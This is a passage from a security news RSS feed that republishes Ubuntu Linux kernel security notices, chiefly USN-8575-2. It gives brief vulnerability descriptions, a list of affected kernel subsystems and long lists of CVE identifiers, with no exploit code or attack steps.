CVE-2025-38192, CVE-2025-38562, CVE-2025-38626, CVE-2025-38659,
CVE-2025-38710, CVE-2025-39748, CVE-2025-39764, CVE-2025-40005,
CVE-2025-40016, CVE-2025-40103, CVE-2025-40323, CVE-2025-68206,
CVE-2025-68239, CVE-2025-68256, CVE-2025-68307, CVE-2025-68358,
CVE-2025-71150, CVE-2025-71161, CVE-2025-71221, CVE-2025-71232,
CVE-2025-71233, CVE-2025-71235, CVE-2025-71236, CVE-2025-71237,
CVE-2025-71238, CVE-2025-71239, CVE-2025-71265, CVE-2025-71266,
CVE-2025-71267, CVE-2025-71274, CVE-2025-71287, CVE-2025-71292,
CVE-2026-23031, CVE-2026-23066, CVE-2026-23100, CVE-2026-23113,
CVE-2026-23141, CVE-2026-23157, CVE-2026-23169, CVE-2026-23204,
CVE-2026-23220, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237,
CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243,
CVE-2026-23253, CVE-2026-23266, CVE-2026-23270, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23286, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23303, CVE-2026-23304,
CVE-2026-23307, CVE-2026-23312, CVE-2026-23318, CVE-2026-23324,
CVE-2026-23335, CVE-2026-23339, CVE-2026-23340, CVE-2026-23352,
CVE-2026-23356, CVE-2026-23357, CVE-2026-23362, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23370, CVE-2026-23372,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23388,
CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396,
CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401,
CVE-2026-23420, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439,
CVE-2026-23442, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31400, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31411, CVE-2026-31415, CVE-2026-31416,
CVE-2026-31417, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423,
CVE-2026-31424, CVE-2026-31425, CVE-2026-31427, CVE-2026-31428,
CVE-2026-31433, CVE-2026-31447, CVE-2026-31450, CVE-2026-31452,
CVE-2026-31454, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469,
CVE-2026-31473, CVE-2026-31476, CVE-2026-31480, CVE-2026-31483,
CVE-2026-31494, CVE-2026-31495, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31507, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31555, CVE-2026-31565, CVE-2026-31577,
CVE-2026-31578, CVE-2026-31581, CVE-2026-31585, CVE-2026-31586,
CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622,
CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626,
CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630,
CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656,
CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31670, CVE-2026-31671,
CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31676,
CVE-2026-31679, CVE-2026-31680, CVE-2026-31681, CVE-2026-31683,
CVE-2026-31684, CVE-2026-31687, CVE-2026-31694, CVE-2026-31695,
CVE-2026-31696, CVE-2026-31697, CVE-2026-31698, CVE-2026-31699,
CVE-2026-31701, CVE-2026-31716, CVE-2026-31720, CVE-2026-31721,
CVE-2026-31726, CVE-2026-31728, CVE-2026-31737, CVE-2026-31738,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31762, CVE-2026-31763, CVE-2026-31770, CVE-2026-31773,
CVE-2026-31778, CVE-2026-31780, CVE-2026-31781, CVE-2026-43014,
CVE-2026-43024, CVE-2026-43026, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43040, CVE-2026-43041,
CVE-2026-43043, CVE-2026-43046, CVE-2026-43047, CVE-2026-43050,
CVE-2026-43051, CVE-2026-43052, CVE-2026-43054, CVE-2026-43058,
CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43065,
CVE-2026-43066, CVE-2026-43068, CVE-2026-43069, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43085, CVE-2026-43089, CVE-2026-43093, CVE-2026-43098,
CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105,
CVE-2026-43110, CVE-2026-43111, CVE-2026-43113, CVE-2026-43123,
CVE-2026-43124, CVE-2026-43130, CVE-2026-43132, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140,
CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148,
CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158,
CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43200,
CVE-2026-43202, CVE-2026-43203, CVE-2026-43206, CVE-2026-43209,
CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226,
CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43233,
CVE-2026-43236, CVE-2026-43241, CVE-2026-43242, CVE-2026-43246,
CVE-2026-43251, CVE-2026-43255, CVE-2026-43257, CVE-2026-43261,
CVE-2026-43262, CVE-2026-43264, CVE-2026-43266, CVE-2026-43268,
CVE-2026-43269, CVE-2026-43270, CVE-2026-43273, CVE-2026-43275,
CVE-2026-43277, CVE-2026-43279, CVE-2026-43281, CVE-2026-43287,
CVE-2026-43289, CVE-2026-43295, CVE-2026-43296, CVE-2026-43302,
CVE-2026-43312, CVE-2026-43313, CVE-2026-43314, CVE-2026-43315,
CVE-2026-43316, CVE-2026-43327, CVE-2026-43329, CVE-2026-43333,
CVE-2026-43334, CVE-2026-43336, CVE-2026-43339, CVE-2026-43340,
CVE-2026-43342, CVE-2026-43343, CVE-2026-43357, CVE-2026-43363,
CVE-2026-43365, CVE-2026-43370, CVE-2026-43373, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43405,
CVE-2026-43411, CVE-2026-43420, CVE-2026-43425, CVE-2026-43427,
CVE-2026-43428, CVE-2026-43429, CVE-2026-43430, CVE-2026-43432,
CVE-2026-43439, CVE-2026-43445, CVE-2026-43449, CVE-2026-43450,
CVE-2026-43451, CVE-2026-43452, CVE-2026-43453, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473,
CVE-2026-43475, CVE-2026-43476, CVE-2026-43496, CVE-2026-43502,
CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45842, CVE-2026-45843, CVE-2026-45846,
CVE-2026-45847, CVE-2026-45848, CVE-2026-45852, CVE-2026-45856,
CVE-2026-45857, CVE-2026-45860, CVE-2026-45864, CVE-2026-45873,
CVE-2026-45890, CVE-2026-45891, CVE-2026-45899, CVE-2026-45902,
CVE-2026-45904, CVE-2026-45912, CVE-2026-45915, CVE-2026-45916,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45924, CVE-2026-45935,
CVE-2026-45936, CVE-2026-45941, CVE-2026-45946, CVE-2026-45948,
CVE-2026-45954, CVE-2026-45956, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45964, CVE-2026-45965, CVE-2026-45968, CVE-2026-45969,
CVE-2026-45970, CVE-2026-45974, CVE-2026-45978, CVE-2026-45983,
CVE-2026-45984, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45994, CVE-2026-46002, CVE-2026-46004, CVE-2026-46006,
CVE-2026-46009, CVE-2026-46015, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46027,
CVE-2026-46033, CVE-2026-46037, CVE-2026-46040, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46053, CVE-2026-46062, CVE-2026-46064,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46077, CVE-2026-46080,
CVE-2026-46082, CVE-2026-46088, CVE-2026-46098, CVE-2026-46099,
CVE-2026-46101, CVE-2026-46102, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46112, CVE-2026-46120, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46127, CVE-2026-46128, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46137, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46167, CVE-2026-46168, CVE-2026-46172, CVE-2026-46174,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46209, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46219, CVE-2026-46220, CVE-2026-46227,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46259, CVE-2026-46273,
CVE-2026-46274, CVE-2026-46275, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46319)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8575-2: Linux kernel vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3688377/unix-server/usn-8575-2-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688377/unix-server/usn-8575-2-linux-kernel-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:31:09 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31555, CVE-2026-31565,
CVE-2026-31570, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578,
CVE-2026-31580, CVE-2026-31581, CVE-2026-31583, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594,
CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599,
CVE-2026-31602, CVE-2026-31603, CVE-2026-31605, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31630, CVE-2026-31634, CVE-2026-31642, CVE-2026-31651,
CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661,
CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31676, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31701,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31737, CVE-2026-31738, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31770, CVE-2026-31773, CVE-2026-31778, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43020, CVE-2026-43024, CVE-2026-43026, CVE-2026-43027,
CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035,
CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43058, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076,
CVE-2026-43079, CVE-2026-43080, CVE-2026-43085, CVE-2026-43089,
CVE-2026-43093, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43123, CVE-2026-43124,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140,
CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148,
CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158,
CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43187, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196,
CVE-2026-43200, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226,
CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232,
CVE-2026-43233, CVE-2026-43236, CVE-2026-43241, CVE-2026-43242,
CVE-2026-43246, CVE-2026-43251, CVE-2026-43255, CVE-2026-43257,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43273,
CVE-2026-43275, CVE-2026-43277, CVE-2026-43279, CVE-2026-43281,
CVE-2026-43283, CVE-2026-43287, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43302, CVE-2026-43312,
CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316,
CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43339,
CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43357,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43370, CVE-2026-43373,
CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386,
CVE-2026-43387, CVE-2026-43405, CVE-2026-43411, CVE-2026-43420,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43439,
CVE-2026-43445, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473,
CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43484,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45852, CVE-2026-45856, CVE-2026-45857, CVE-2026-45860,
CVE-2026-45862, CVE-2026-45864, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45879, CVE-2026-45883,
CVE-2026-45885, CVE-2026-45890, CVE-2026-45891, CVE-2026-45899,
CVE-2026-45902, CVE-2026-45904, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45915, CVE-2026-45916, CVE-2026-45919, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45935, CVE-2026-45936, CVE-2026-45941,
CVE-2026-45946, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45960, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45974,
CVE-2026-45978, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45994, CVE-2026-46002,
CVE-2026-46004, CVE-2026-46006, CVE-2026-46009, CVE-2026-46015,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46022, CVE-2026-46023,
CVE-2026-46024, CVE-2026-46027, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46040, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047,
CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46053,
CVE-2026-46062, CVE-2026-46064, CVE-2026-46070, CVE-2026-46072,
CVE-2026-46077, CVE-2026-46080, CVE-2026-46082, CVE-2026-46088,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46107, CVE-2026-46108, CVE-2026-46112, CVE-2026-46120,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46132, CVE-2026-46133, CVE-2026-46137,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46172, CVE-2026-46174, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46209, CVE-2026-46212, CVE-2026-46214, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46227, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46249, CVE-2026-46250, CVE-2026-46253, CVE-2026-46259,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46285, CVE-2026-46294, CVE-2026-46301,
CVE-2026-46303, CVE-2026-46304, CVE-2026-46307, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52912, CVE-2026-52914,
CVE-2026-52915, CVE-2026-52916, CVE-2026-52919, CVE-2026-52920,
